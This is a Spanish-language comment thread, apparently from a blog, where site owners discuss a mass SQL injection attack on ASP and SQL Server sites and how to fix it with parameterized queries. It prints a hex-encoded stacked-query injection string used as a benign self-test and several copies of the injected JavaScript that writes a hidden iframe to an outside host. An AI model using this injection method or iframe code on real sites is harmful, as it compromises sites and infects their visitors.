Menuda parafernalia se montó el coleguita..impresionante.

Por lo que todo indica, parece ser que tambien han programado un bot para que haga todo este proceso automáticamente..

Pero como he dicho anteriormente el colega que hiciera todo este proceso. IMPRESIONANTE.

Pero un buen hijo de p..xD

Un saludo.

—————-
http://www.monovarlinux.org
—————-

dentro de los campos de texto…. te aviso por si las tuyas estan siendo atacadas de nuevo.

voy a probar a buscar algo para limpiar, se que existe un script para limpiar la base de datos para no tener que pegarme la paliza uno a uno. Tu tienes algo?

Gracias por todo.

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);

al final de las urls que incluyan pasaje de parámetros por querystring ,por ejemplo si querés verificar que la página:

pgatacada.asp?p=11&e=hola

ya no sea atacable, entonces deberías escribir en la url del browser lo siguiente:

pgatacada.asp?p=11&e=hola;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);

Luego que le pidas al browser navegar la url con esto agregado, ingresá al Sql Server y consultá la tabla “dummytest” si hay un nuevo registro con el valor ‘HACKED’ en el campo dummyfield, la página sigue siendo atacable.
Si hay muchas páginas te va a llevar un poco de tiempo probarlas a todas, pero lo bueno es que estás utilizando el mismo método que uso el hacker para evitar que vuelva a atacarte, si el sistio no se encuentra protegido, solo se va a agregar un registro en una tabla propia, con lo cual no se genera ningún daño. No te olvides de eliminar las tablas “dummytest” que hayas creado cuando ya hayas terminado con las pruebas.

Suerte

y creamos el siguiente SQL Injection para hacer las pruebas:
;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
INSERT INTO dummytest (dummyfield) VALUES (‘HACKED’)

De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de “vacuna Injection”. Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva. …”

Como hago yo para lanzar un ataque a mi web? Podrías ayudarme? Quiero probar si ya lo hemos solucionado

Gracias y espero tu respuesta…

window.status=”";
n=navigator.userLanguage.toUpperCase();
if((n!=”ZH-CN”)&&(n!=”ZH-MO”)&&(n!=”ZH-HK”)&&(n!=”BN”)&&(n!=”GU”)&&(n!=”NE”)&&(n!=”PA”)&&(n!=”ID”)&&(n!=”EN-PH”)&&(n!=”UR”)&&(n!=”RU”)&&(n!=”KO”)&&(n!=”ZH-TW”)&&(n!=”ZH”)&&(n!=”HI”)&&(n!=”TH”)&&(n!=”VI”)){
var cookieString = document.cookie;
var start = cookieString.indexOf(“v1goo=”);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = “v1goo=update;expires=”+expires.toGMTString();
try{
document.write(“”);
}
catch(e)
{
};
}}

Este el nuevo codigo jss que han injectado pero esta vez lo han hecho dos veces (o ha habido dos ataques a la vez)

Un saludo.

Como los ataques por SQL Injection son posibles debido a una mala programación. Creo que la única solución definitiva es corregir el código, desde que hicimos las modificaciones en el código (paremetrizar las consultas), no volvimos a tener problemas de SQL Injection.

Saludos

Yo tambien he sufrido este ataque, mejor dicho lo sufro constantemente, he logrado por ahora evitarlo, filtrando los parametro que se pasan por la url, pero me gustaria saber como has conseguido hacer la solución que indicas, “El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias”,

podrias explicarla.

Muchas Gracias

Sigo teniendo ataques, he podido ver los logs por fin y los ataques son desde distintas ips mundiales, uruguay, venezuela, francia, etc. por lo que ves es muy variado.

Encontramos un procedimiento que realiza el proceso inverso, es decir recorre todas las tablas de la base de datos y borra el texto que nos injecto el ataque.

Estamos investigando el declare que nos injecta, es casi igual que el que publicas aqui pero a partir de las 5 ultimas lineas varia supongo que ira variando seguna la url que le mete en el cast.

con la solucion que publicas habeis tenido problemas algun dia mas? ahora mismo no tenemos las BD infectadas pero seguimos siendo atacados.

document.write(“iframe src=http://.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0>/iframe”);

Abre un iframe y navega una url (clásico ataque IFrame), nuevamente el sitio al que accedia el iframe (lo borramos en el blog) ya no era accesible, (otra vez la misma frustración). Al menos avanzamos otro paso.

Un detalle interesante es la sentencia:

if((n!=”ZH-CN”)&&(n!=”UR”)&&(n!=”RU”)&&(n!=”KO”)&&(n!=”ZH-TW”)&&(n!=”ZH”)&&(n!=”HI”)&&(n!=”TH”)&&(n!=”UR”)&&(n!=”VI”))

que hace que el iframe no se genere si el lenguaje del browser es de:

Rusia, Ucrania, China, Corea o Vietnam

Muchas grcias y saludos

window.status=”";
n=navigator.userLanguage.toUpperCase();
if((n!=”ZH-CN”)&&(n!=”UR”)&&(n!=”RU”)&&(n!=”KO”)&&(n!=”ZH-TW”)&&(n!=”ZH”)&&(n!=”HI”)&&(n!=”TH”)&&(n!=”UR”)&&(n!=”VI”)){
var cookieString = document.cookie;
var start = cookieString.indexOf(“updngg=”);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = “updngg=update;expires=”+expires.toGMTString();
try{
document.write(“”);
}
catch(e)
{
};
}}

Segun informacion recopilada, solo el Kaspersky avisa de este “virus”. Yo tengo mi pagina infectada que estoy intentando arreglar, alojada en Arsys.

Alguno con el mismo problema?

Un saludo y gracias de nuevo por la información.